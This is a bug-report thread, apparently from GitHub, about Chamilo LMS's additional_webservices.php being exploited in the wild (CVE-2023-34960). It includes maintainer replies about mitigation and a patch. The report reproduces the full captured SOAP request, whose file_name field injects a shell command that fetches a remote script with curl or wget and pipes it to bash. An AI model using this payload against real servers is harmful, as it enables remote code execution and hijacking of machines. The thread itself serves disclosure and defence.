Chamillo additional webservices exploited on the wild

[raczajko]

Describe
A external attacker is taking leverage of the additional_webservices file used for PPT to PNG conversion to run arbitrary code with the user running PHP which on my case was containted (thankfully) using ISPconfig

To Reproduce
Steps to reproduce the behavior:

1. Attackers send a POST SOAP request with an embedded base64 encrypted bash command to download new scripts, so far they did cryptomining and SPAM mailing using an automatic client
2. This is the entry point -> https://github.com/chamilo/chamilo-lms/blob/1.11.x/main/webservices/additional_webservices.php
3. Most attacks comes from Asia ;-)

Expected behavior
Not let attackers mine on your server? :)

Screenshots

This is the payload
HTTP headers:
Accept-Encoding: gzip
Content-Type: text/xml; charset=utf-8
Content-Length: 950
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
Host: WWW.XXX.YYY.ZZZ

Request body:
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="https://WWW.XXX.YYY.ZZZ:443" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |(curl -s http://103.214.112.10/linux.sh||wget -q -O- http://103.214.112.10/linux.sh)|bash||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
Content last changed: July 16 2023 12:54:56.POST /main/webservices/additional_webservices.php HTTP/1.1

Attacker IP: 103.214.112.10

Desktop (please complete the following information):

• OS: [e.g. Linux Ubuntu 18.04/Windows 10]
• Browser [e.g. chrome, firefox, safari] and version

**Server

• OS: [e.g. Linux Ubuntu 18.04/Windows 10]
• Version of Chamilo: 1.11.10 to 1.11.20
• Version of PHP: 7.2,7.3.

[ywarnier]

Hi @raczajko
You can safely remove additional_webservices.php if you do not use the PPT converter remotely.

We are preparing version 1.11.22 with additional patches. Should be out in a matter of days.

[raczajko]

my bad, just figure it out was already reported as CVE-2023-34960. Thank you very much!

[ywarnier]

Some improvements have been made here to prevent issues with exploiting the vulnerability if the feature is not specifically enabled: 4c69b29